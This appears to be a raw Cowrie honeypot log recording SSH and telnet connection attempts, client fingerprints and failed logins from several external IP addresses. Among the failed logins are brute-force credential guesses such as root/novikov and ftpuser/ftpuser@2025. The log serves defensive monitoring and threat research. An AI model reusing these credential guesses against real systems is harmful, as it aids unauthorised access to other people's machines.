{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:22.078119Z","src_ip":"193.32.162.145","session":"1642ad0b141f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"raydium","message":"login attempt [solana/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:22.386029Z","src_ip":"193.32.162.145","session":"1642ad0b141f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:23.490387Z","src_ip":"193.32.162.145","session":"1642ad0b141f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46700,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4c2d2d7121","protocol":"telnet","message":"New connection: 152.42.224.71:46700 (10.17.0.5:23) [session: 1f4c2d2d7121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:24.082964Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":53190,"dst_ip":"10.17.0.5","dst_port":22,"session":"329bca46833e","protocol":"ssh","message":"New connection: 185.242.234.173:53190 (10.17.0.5:22) [session: 329bca46833e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:25.820503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:27.175455Z","src_ip":"185.242.234.173","session":"329bca46833e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:27.182761Z","src_ip":"185.242.234.173","session":"329bca46833e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boom","password":"123456","message":"login attempt [boom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:27.802130Z","src_ip":"185.242.234.173","session":"329bca46833e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:29.009480Z","src_ip":"185.242.234.173","session":"329bca46833e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.161521434783936,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:29.429893Z","src_ip":"152.42.224.71","session":"b3be7b2c9d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44466,"dst_ip":"10.17.0.5","dst_port":23,"session":"110d9abbfb4c","protocol":"telnet","message":"New connection: 152.42.224.71:44466 (10.17.0.5:23) [session: 110d9abbfb4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:32.942252Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44470,"dst_ip":"10.17.0.5","dst_port":23,"session":"aef652ecb810","protocol":"telnet","message":"New connection: 152.42.224.71:44470 (10.17.0.5:23) [session: aef652ecb810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:34.269691Z"}
{"eventid":"cowrie.session.closed","duration":118.67544889450073,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:36.378276Z","src_ip":"152.42.224.71","session":"4aa0ece829da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":57640,"dst_ip":"10.17.0.5","dst_port":22,"session":"c155a9662440","protocol":"ssh","message":"New connection: 49.51.200.156:57640 (10.17.0.5:22) [session: c155a9662440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:36.872397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:36.877194Z","src_ip":"49.51.200.156","session":"c155a9662440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:36.959128Z","src_ip":"49.51.200.156","session":"c155a9662440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Roto555Pres","message":"login attempt [root/Roto555Pres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:37.265708Z","src_ip":"49.51.200.156","session":"c155a9662440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:38.337735Z","src_ip":"49.51.200.156","session":"c155a9662440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":48078,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcfed5ebaeb2","protocol":"ssh","message":"New connection: 43.153.85.27:48078 (10.17.0.5:22) [session: bcfed5ebaeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:54.362109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:54.366954Z","src_ip":"43.153.85.27","session":"bcfed5ebaeb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:54.435706Z","src_ip":"43.153.85.27","session":"bcfed5ebaeb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@2025","message":"login attempt [ftpuser/ftpuser@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:54.740413Z","src_ip":"43.153.85.27","session":"bcfed5ebaeb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54198,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b55f72078a6","protocol":"telnet","message":"New connection: 152.42.224.71:54198 (10.17.0.5:23) [session: 1b55f72078a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:55.153717Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:55.812112Z","src_ip":"43.153.85.27","session":"bcfed5ebaeb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":50750,"dst_ip":"10.17.0.5","dst_port":22,"session":"df0ae047cef2","protocol":"ssh","message":"New connection: 45.117.179.232:50750 (10.17.0.5:22) [session: df0ae047cef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:59.889599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:52:59.899221Z","src_ip":"45.117.179.232","session":"df0ae047cef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:00.154644Z","src_ip":"45.117.179.232","session":"df0ae047cef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@2025","message":"login attempt [ftpuser/ftpuser@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:01.207937Z","src_ip":"45.117.179.232","session":"df0ae047cef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45824,"dst_ip":"10.17.0.5","dst_port":23,"session":"039d9aac85f3","protocol":"telnet","message":"New connection: 152.42.224.71:45824 (10.17.0.5:23) [session: 039d9aac85f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:02.226502Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:02.466417Z","src_ip":"45.117.179.232","session":"df0ae047cef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.50871396064758,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:10.778301Z","src_ip":"152.42.224.71","session":"aef652ecb810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00439119338989,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:14.479389Z","src_ip":"152.42.224.71","session":"5c1cbc88c3c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.33","src_port":42838,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7d7047dbc47","protocol":"ssh","message":"New connection: 188.44.20.33:42838 (10.17.0.5:22) [session: f7d7047dbc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:17.197783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:17.202593Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:17.346264Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":55622,"dst_ip":"10.17.0.5","dst_port":22,"session":"16aceaf1f189","protocol":"ssh","message":"New connection: 89.108.118.91:55622 (10.17.0.5:22) [session: 16aceaf1f189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:17.550981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:17.554858Z","src_ip":"89.108.118.91","session":"16aceaf1f189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:17.682440Z","src_ip":"89.108.118.91","session":"16aceaf1f189","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:b8:74:3d:ce:3a:b0:10:f5:b0:fc:b1:dc:d4:e8:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0WjN7Hlbq6Hw9eJyR4MuqFddC3AjNQKZjaPJCo2zU8YzjRwQRa3AtLMW1Hvr9t/3Q3/zYGglqQtzMEVLR0vWlyuL8YoYaSdyCvAvZ6NzAZeon5jv+lR5PhKi8h1W2XcQnA27fT+ENGPUjIAhg/pZpWuWB54rIGtM7/SObzm5iTtVbAHBFqLIEKUgCNJ+Uh/9xbQHpNAHBf+x+PIVffooUEmnzdDL6es2uhV8hytErl6EbIPe743ftGJr3bwoiUwPq3LSfQN7sHazdmnxxpnontg0F3Js7x9el0zKJYUYtlECgH9jeasdncLoypmxIuJkHrcfpjxfiQ5pU3Hy8Tqtr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:b8:74:3d:ce:3a:b0:10:f5:b0:fc:b1:dc:d4:e8:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.055443Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:b8:74:3d:ce:3a:b0:10:f5:b0:fc:b1:dc:d4:e8:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0WjN7Hlbq6Hw9eJyR4MuqFddC3AjNQKZjaPJCo2zU8YzjRwQRa3AtLMW1Hvr9t/3Q3/zYGglqQtzMEVLR0vWlyuL8YoYaSdyCvAvZ6NzAZeon5jv+lR5PhKi8h1W2XcQnA27fT+ENGPUjIAhg/pZpWuWB54rIGtM7/SObzm5iTtVbAHBFqLIEKUgCNJ+Uh/9xbQHpNAHBf+x+PIVffooUEmnzdDL6es2uhV8hytErl6EbIPe743ftGJr3bwoiUwPq3LSfQN7sHazdmnxxpnontg0F3Js7x9el0zKJYUYtlECgH9jeasdncLoypmxIuJkHrcfpjxfiQ5pU3Hy8Tqtr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.060206Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"novikov","message":"login attempt [root/novikov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.068189Z","src_ip":"89.108.118.91","session":"16aceaf1f189","protocol":"ssh"}
